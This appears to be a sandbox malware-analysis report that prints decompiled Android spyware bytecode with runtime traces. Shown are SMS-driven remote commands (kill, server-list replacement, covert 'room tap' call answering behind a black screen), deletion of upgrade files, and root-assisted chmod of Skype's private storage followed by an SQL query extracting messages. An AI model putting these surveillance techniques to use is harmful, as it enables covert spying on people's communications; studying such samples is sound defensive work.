      216const-class v6, Lcom/network/android/SmsReceiver;
      218invoke-direct {v0, p0, v6}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
      220invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
      221move-result-object v6
      222const/4 v7, 0x1
      223const/4 v8, 0x1
      225invoke-virtual {v6, v0, v7, v8}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
      226goto_134: packed-switch v2, :pswitch_data_25a
      227pswitch_137: goto/16 :goto_99
      228pswitch_139: const/4 v0, 0x1
      229try_start_13a: sput-boolean v0, Lcom/network/android/a/c;->i:Z
      230const/4 v0, 0x1
      231const/16 v2, 0x1c
      233invoke-static {v0, v2}, Lcom/network/android/c/a/b;->a(IS)V
      235const-string v0, "KILL"
      237invoke-static {p0, v0}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      239invoke-static {p0}, Lcom/network/b/b;->c(Landroid/content/Context;)V
      240goto/16 :goto_99
      241catch_14c: move-exception v0
      242new-instance v6, Ljava/lang/StringBuilder;
      244const-string v7, "Mo dontKill - "
      246invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      248invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      249move-result-object v7
      251invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      252move-result-object v6
      254invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      255move-result-object v6
      257invoke-static {v6, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      258goto/16 :goto_134
      259pswitch_164:
      260invoke-static {v3, p0, v5}, Lcom/network/android/a/c;->d(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
      261goto/16 :goto_99
      262pswitch_169:
      263invoke-static {v3, p0, v5}, Lcom/network/android/a/c;->c(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
      265const-string v0, "httpPing SMS_LOC_MON"
      267invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      269invoke-static {v5}, Lcom/network/android/c/a/b;->a(Ljava/lang/String;)V
      271const-string v0, "httpPing"
      273invoke-static {p0, v0}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      274goto/16 :goto_99
      275pswitch_17b:
      276const-string v0, "performCommand got SMS_SET"
      278invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      280invoke-static {v3}, Lcom/network/android/a/c;->b(Ljava/lang/String;)[Ljava/lang/String;
      281move-result-object v0
      283invoke-static {v0}, Lcom/network/b/b;->b([Ljava/lang/String;)V
      285invoke-static {p0}, Lcom/network/b/b;->c(Landroid/content/Context;)V
      287invoke-static {v5}, Lcom/network/android/c/a/b;->a(Ljava/lang/String;)V
      288if-eqz v4, :cond_99
      290const-string v0, "httpPing"
      292invoke-static {p0, v0}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      293goto/16 :goto_99
      294pswitch_196:
      295const-string v0, "performCommand got SMS_COMMAND_FETCH"
      297invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      299invoke-static {v3}, Lcom/network/android/a/c;->a(Ljava/lang/String;)[Ljava/lang/String;
      300move-result-object v0
      302invoke-static {}, Lcom/network/b/b;->e()[Ljava/lang/String;
      303move-result-object v2
      305invoke-static {v0, v2}, Lcom/network/h/b;->a([Ljava/lang/String;[Ljava/lang/String;)Z
      306move-result v2
      307if-nez v2, :cond_1b4
      309const-string v2, "performCommand SMS_COMMAND_FETCH can\'t find fetch commands ip in server list. replacing server list"
      311invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      313invoke-static {v0}, Lcom/network/b/b;->b([Ljava/lang/String;)V
      315invoke-static {p0}, Lcom/network/b/b;->c(Landroid/content/Context;)V
      316cond_1b4:
      317invoke-static {v5}, Lcom/network/android/c/a/b;->a(Ljava/lang/String;)V
      319const-string v0, "httpPing"
      321invoke-static {p0, v0}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      322goto/16 :goto_99
      323pswitch_1be:
      324invoke-static {v3, v5, p0}, Lcom/network/android/a/c;->a(Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)V
      326const-string v0, "httpPing"
      328invoke-static {p0, v0}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      329goto/16 :goto_99
      330pswitch_1c8:
      331invoke-static {v3, v5, p0}, Lcom/network/android/m;->a(Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)V
      333const-string v0, "httpPing"
      335invoke-static {p0, v0}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      336try_end_1d0: goto/16 :goto_99
      337pswitch_1d2:
      338const-string v0, "performCommand got SMS_TAP"
      340invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      341const/4 v0, 0x0
      342sput-boolean v0, Lcom/network/android/roomTap/k;->b:Z
      343const/4 v0, 0x0
      344sput-boolean v0, Lcom/network/android/roomTap/AutoAnswerReceiver;->d:Z
      345const/4 v0, 0x0
      346sput-boolean v0, Lcom/network/android/roomTap/k;->c:Z
      347const/4 v0, 0x1
      348sput-boolean v0, Lcom/network/android/a/c;->e:Z
      350invoke-static {v5}, Lcom/network/android/a/c;->c(Ljava/lang/String;)Z
      351move-result v0
      352if-eqz v0, :cond_22e
      354invoke-static {v5}, Lcom/network/android/c/a/b;->a(Ljava/lang/String;)V
      355goto_1ec:
      356const-string v2, "httpPingTap"
      358invoke-static {p0, v2}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      359if-eqz v0, :cond_23b
      361const-string v0, "performCommand GOT_TAP_SMS_CALL_NOT_YET_ARRIVED setting it to true"
      363invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      364const/4 v0, 0x1
      365sput-boolean v0, Lcom/network/android/a/c;->f:Z
      367const-string v0, "performCommand BlackScreen opening tap screen"
      369invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      371invoke-static {v3, p0}, Lcom/network/android/a/c;->a(Ljava/lang/String;Landroid/content/Context;)V
      373invoke-static {p0}, Lcom/network/android/roomTap/AutoAnswerReceiver;->g(Landroid/content/Context;)V
      374goto_206:
      375const-string v0, "performCommand setting isSmsTap = false"
      377invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      378try_end_20b: goto/16 :goto_99
      379catch_20d: move-exception v0
      380try_start_20e:
      381const-string v2, "performCommand exception. setting isSmsTap = false"
      383invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      384new-instance v2, Ljava/lang/StringBuilder;
      386const-string v3, "performCommand SMS_TAP exception\n- "
      388invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      390invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      391move-result-object v3
      393invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      394move-result-object v2
      396invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      397move-result-object v2
      399invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      400const/4 v0, 0x0
      401sput-boolean v0, Lcom/network/android/a/c;->e:Z
      402try_end_22c: goto/16 :goto_99
      403cond_22e: const/4 v2, 0x0
      404const/16 v4, -0x3cae
      405try_start_231:
      406const-string v6, ""
      408invoke-static {v5}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      409move-result-object v5
      411invoke-static {v2, v4, v6, v5}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      412goto/16 :goto_1ec
      413cond_23b:
      414const-string v0, "performCommand GOT_TAP_SMS_CALL_NOT_YET_ARRIVED setting it to false"
      416invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      417const/4 v0, 0x0
      418sput-boolean v0, Lcom/network/android/a/c;->f:Z
      420const-string v0, "performCommand Tap Window Forbidden"
      422invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      424invoke-static {}, Lcom/network/android/a/c;->a()V
      425try_end_24b: goto/16 :goto_206
      426try_start_24c:
      427invoke-static {v3, p0, v5}, Lcom/network/android/a/c;->b(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
      429invoke-static {p0}, Lcom/network/b/b;->c(Landroid/content/Context;)V
      431const-string v0, "httpPing"
      433invoke-static {p0, v0}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      434try_end_257: goto/16 :goto_99
      435nop
      Cross References
      APIs
      • java.io.File.<init>
      • java.io.File.delete
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.delete
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.delete
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      • java.io.File.list
      • java.lang.String.contains
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.delete
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • deleteUpgradeFiles started
      • /data/data/com.network.android/upgrade/uglmt.dat
      • deleteUpgradeFiles deleted file:
      • delete result:
      • deleteUpgradeFiles deleted file: /data/data/com.network.android/upgrade/uglmt.dat delete result: true
      • /data/data/com.network.android/upgrade/cuvmnr.dat
      • deleteUpgradeFiles deleted file: /data/data/com.network.android/upgrade/cuvmnr.dat delete result: true
      • /data/data/com.network.android/upgrade/zero.mp3
      • deleteUpgradeFiles deleted file: /data/data/com.network.android/upgrade/zero.mp3 delete result: true
      • /data/data/com.network.android/upgrade/
      • com.media.sync
      • deleteUpgradeFiles Exception
      • deleteUpgradeFiles ended
      Position Instruction Meta Information
      0try_start_0:
      1const-string v0, "deleteUpgradeFiles started"
      3invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068927
        • p0: deleteUpgradeFiles started
      4new-instance v0, Ljava/io/File;
      6const-string v1, "/data/data/com.network.android/upgrade/uglmt.dat"
      8invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      • Time: 1068928
        • This:
          • /data/data/com.network.android/upgrade/uglmt.dat
        • p0: /data/data/com.network.android/upgrade/uglmt.dat
        • Return:
          • /data/data/com.network.android/upgrade/uglmt.dat
      10invoke-virtual {v0}, Ljava/io/File;->delete()Z
      • Time: 1068931
        • This:
          • /data/data/com.network.android/upgrade/uglmt.dat
        • Return:
          • true
      11move-result v1
      12new-instance v2, Ljava/lang/StringBuilder;
      14const-string v3, "deleteUpgradeFiles deleted file: "
      16invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      18invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      19move-result-object v0
      21invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      22move-result-object v0
      24const-string v2, " delete result: "
      26invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      27move-result-object v0
      29invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      30move-result-object v0
      32invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      33move-result-object v0
      35invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068933
        • p0: deleteUpgradeFiles deleted file: /data/data/com.network.android/upgrade/uglmt.dat delete result: true
      36new-instance v0, Ljava/io/File;
      38const-string v1, "/data/data/com.network.android/upgrade/cuvmnr.dat"
      40invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      • Time: 1068934
        • This:
          • /data/data/com.network.android/upgrade/cuvmnr.dat
        • p0: /data/data/com.network.android/upgrade/cuvmnr.dat
        • Return:
          • /data/data/com.network.android/upgrade/cuvmnr.dat
      42invoke-virtual {v0}, Ljava/io/File;->delete()Z
      • Time: 1068937
        • This:
          • /data/data/com.network.android/upgrade/cuvmnr.dat
        • Return:
          • true
      43move-result v1
      44new-instance v2, Ljava/lang/StringBuilder;
      46const-string v3, "deleteUpgradeFiles deleted file: "
      48invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      50invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      51move-result-object v0
      53invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      54move-result-object v0
      56const-string v2, " delete result: "
      58invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      59move-result-object v0
      61invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      62move-result-object v0
      64invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      65move-result-object v0
      67invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068940
        • p0: deleteUpgradeFiles deleted file: /data/data/com.network.android/upgrade/cuvmnr.dat delete result: true
      68new-instance v0, Ljava/io/File;
      70const-string v1, "/data/data/com.network.android/upgrade/zero.mp3"
      72invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      • Time: 1068941
        • This:
          • /data/data/com.network.android/upgrade/zero.mp3
        • p0: /data/data/com.network.android/upgrade/zero.mp3
        • Return:
          • /data/data/com.network.android/upgrade/zero.mp3
      74invoke-virtual {v0}, Ljava/io/File;->delete()Z
      • Time: 1068943
        • This:
          • /data/data/com.network.android/upgrade/zero.mp3
        • Return:
          • true
      75move-result v1
      76new-instance v2, Ljava/lang/StringBuilder;
      78const-string v3, "deleteUpgradeFiles deleted file: "
      80invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      82invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      83move-result-object v0
      85invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      86move-result-object v0
      88const-string v2, " delete result: "
      90invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      91move-result-object v0
      93invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      94move-result-object v0
      96invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      97move-result-object v0
      99invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068946
        • p0: deleteUpgradeFiles deleted file: /data/data/com.network.android/upgrade/zero.mp3 delete result: true
      100new-instance v0, Ljava/io/File;
      102const-string v1, "/data/data/com.network.android/upgrade/"
      104invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      • Time: 1068947
        • This:
          • /data/data/com.network.android/upgrade
        • p0: /data/data/com.network.android/upgrade/
        • Return:
          • /data/data/com.network.android/upgrade
      106invoke-virtual {v0}, Ljava/io/File;->exists()Z
      • Time: 1068949
        • This:
          • /data/data/com.network.android/upgrade
        • Return:
          • false
      107move-result v1
      108if-nez v1, :cond_94
      109goto_93: return-void
      110cond_94:
      111invoke-virtual {v0}, Ljava/io/File;->list()[Ljava/lang/String;
      112move-result-object v1
      113array-length v2, v1
      114const/4 v0, 0x0
      115goto_9a: if-ge v0, v2, :cond_f8
      116aget-object v3, v1, v0
      118const-string v4, "com.media.sync"
      120invoke-virtual {v3, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      121move-result v4
      122if-eqz v4, :cond_de
      123new-instance v4, Ljava/io/File;
      124new-instance v5, Ljava/lang/StringBuilder;
      126const-string v6, "/data/data/com.network.android/upgrade/"
      128invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      130invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      131move-result-object v3
      133invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      134move-result-object v3
      136invoke-direct {v4, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      138invoke-virtual {v4}, Ljava/io/File;->delete()Z
      139move-result v3
      140new-instance v5, Ljava/lang/StringBuilder;
      142const-string v6, "deleteUpgradeFiles deleted file: "
      144invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      146invoke-virtual {v4}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      147move-result-object v4
      149invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      150move-result-object v4
      152const-string v5, " delete result: "
      154invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      155move-result-object v4
      157invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      158move-result-object v3
      160invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      161move-result-object v3
      163invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      164try_end_de: add-int/lit8 v0, v0, 0x1
      165goto/16 :goto_9a
      166catch_e1: move-exception v0
      167new-instance v1, Ljava/lang/StringBuilder;
      169const-string v2, "deleteUpgradeFiles Exception "
      171invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      173invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      174move-result-object v2
      176invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      177move-result-object v1
      179invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      180move-result-object v1
      182invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      183cond_f8:
      184const-string v0, "deleteUpgradeFiles ended"
      186invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      187goto/16 :goto_93
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.listFiles
      • java.io.File.isDirectory
      • java.lang.StringBuilder.<init>
      • java.io.File.getName
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.getAbsoluteFile
      • java.io.File.exists
      • java.io.File.getName
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • getSkypeApp getSkypeApp start
      • getSkypeApp GetContentIM loop into
      • getSkypeApp GetContentIM loop into /data/data/com.skype.raider/files
      • chmod 0777
      • /system/csk
      • chmod 0777 /data/data/com.skype.raider/files
      • getSkypeApp GetContentIM checks
      • /main.db
      • ;chmod 0777
      • ; chmod 0777
      • -journal;
      • skype
      • /data/data/com.skype.raider
      • SELECT Messages.id as msg_id, messages.convo_id, from_dispname, messages.author, messages.timestamp, messages.body_xml, conversations.displayname, Messages.dialog_partner FROM Messages LEFT JOIN Conversations ON messages.convo_id = conversations.id
      • getSkypeApp GetContentIM end
      • getSkypeApp GetContentIM exception-
      Position Instruction Meta Information
      0try_start_0:
      1const-string v0, "getSkypeApp getSkypeApp start"
      3invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068731
        • p0: getSkypeApp getSkypeApp start
      4new-instance v0, Ljava/lang/StringBuilder;
      6const-string v1, "getSkypeApp GetContentIM loop into "
      8invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      10sget-object v1, Lcom/network/android/d/e;->f:Ljava/io/File;
      12invoke-virtual {v1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      13move-result-object v1
      15invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      16move-result-object v0
      18invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      19move-result-object v0
      21invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068733
        • p0: getSkypeApp GetContentIM loop into /data/data/com.skype.raider/files
      22new-instance v0, Ljava/lang/StringBuilder;
      24const-string v1, "chmod 0777 "
      26invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      28sget-object v1, Lcom/network/android/d/e;->f:Ljava/io/File;
      30invoke-virtual {v1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      31move-result-object v1
      33invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      34move-result-object v0
      36invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      37move-result-object v0
      39invoke-static {v0}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      • Time: 1068735
        • This:
          • /system/csk
        • p0: /system/csk
        • Return:
          • /system/csk
      • Time: 1068756
        • p0: chmod 0777 /data/data/com.skype.raider/files
      41sget-object v0, Lcom/network/android/d/e;->f:Ljava/io/File;
      43invoke-virtual {v0}, Ljava/io/File;->listFiles()[Ljava/io/File;
      44move-result-object v0
      45sput-object v0, Lcom/network/android/d/e;->g:[Ljava/io/File;
      46if-eqz v0, :cond_ec
      47const/4 v0, 0x0
      48move v13, v0
      49goto_41:
      50sget-object v0, Lcom/network/android/d/e;->g:[Ljava/io/File;
      51array-length v0, v0
      52if-ge v13, v0, :cond_ec
      54sget-object v0, Lcom/network/android/d/e;->g:[Ljava/io/File;
      55aget-object v0, v0, v13
      57invoke-virtual {v0}, Ljava/io/File;->isDirectory()Z
      58move-result v0
      59if-eqz v0, :cond_e7
      60new-instance v0, Ljava/lang/StringBuilder;
      62const-string v1, "getSkypeApp GetContentIM checks "
      64invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      66sget-object v1, Lcom/network/android/d/e;->g:[Ljava/io/File;
      67aget-object v1, v1, v13
      69invoke-virtual {v1}, Ljava/io/File;->getName()Ljava/lang/String;
      70move-result-object v1
      72invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      73move-result-object v0
      75invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      76move-result-object v0
      78invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      79new-instance v0, Ljava/lang/StringBuilder;
      81invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      83sget-object v1, Lcom/network/android/d/e;->g:[Ljava/io/File;
      84aget-object v1, v1, v13
      86invoke-virtual {v1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      87move-result-object v1
      89invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      90move-result-object v0
      92const-string v1, "/main.db"
      94invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      95move-result-object v0
      97invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      98move-result-object v5
      99new-instance v0, Ljava/lang/StringBuilder;
      101const-string v1, "chmod 0777 "
      103invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      105sget-object v1, Lcom/network/android/d/e;->g:[Ljava/io/File;
      106aget-object v1, v1, v13
      108invoke-virtual {v1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      109move-result-object v1
      111invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      112move-result-object v0
      114const-string v1, ";chmod 0777 "
      116invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      117move-result-object v0
      119invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      120move-result-object v0
      122const-string v1, "; chmod 0777 "
      124invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      125move-result-object v0
      127invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      128move-result-object v0
      130const-string v1, "-journal;"
      132invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      133move-result-object v0
      135invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      136move-result-object v0
      138invoke-static {v0}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      139new-instance v0, Ljava/io/File;
      141invoke-direct {v0, v5}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      143invoke-virtual {v0}, Ljava/io/File;->getAbsoluteFile()Ljava/io/File;
      144move-result-object v0
      146invoke-virtual {v0}, Ljava/io/File;->exists()Z
      147move-result v0
      148if-eqz v0, :cond_e7
      150const-string v3, "skype"
      152const-string v4, "/data/data/com.skype.raider"
      154const-string v6, "SELECT Messages.id as msg_id, messages.convo_id, from_dispname, messages.author, messages.timestamp, messages.body_xml, conversations.displayname, Messages.dialog_partner FROM Messages LEFT JOIN Conversations ON messages.convo_id = conversations.id"
      156sget-object v7, Lcom/network/android/d/e;->d:Ljava/lang/String;
      158const-string v8, ""
      160sget-object v9, Lcom/network/android/d/e;->e:Ljava/lang/String;
      162sget-object v10, Lcom/network/android/d/e;->c:Ljava/util/Map;
      163const/16 v11, 0x84
      165sget-object v0, Lcom/network/android/d/e;->g:[Ljava/io/File;
      166aget-object v0, v0, v13
      168invoke-virtual {v0}, Ljava/io/File;->getName()Ljava/lang/String;
      169move-result-object v12
      170move-object v0, p0
      171move-object v1, p1
      172move/from16 v2, p2
      174invoke-static/range {v0 .. v12}, Lcom/network/android/d/e;->a(Landroid/os/Handler;Landroid/content/Context;ZLjava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/util/Map;SLjava/lang/String;)V
      175cond_e7: add-int/lit8 v0, v13, 0x1
      176move v13, v0
      177goto/16 :goto_41
      178cond_ec:
      179const-string v0, "getSkypeApp GetContentIM end"
      181invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068764
        • p0: getSkypeApp GetContentIM end
      182try_end_f1: return-void
      183catch_f2: move-exception v0
      184new-instance v1, Ljava/lang/StringBuilder;
      186const-string v2, "getSkypeApp GetContentIM exception- "
      188invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      190invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      191move-result-object v2
      193invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      194move-result-object v1
      196invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      197move-result-object v1
      199invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      200goto/16 :goto_f1
      Cross References
      APIs
      • android.content.Context.getContentResolver
      • android.provider.Settings$System.getInt
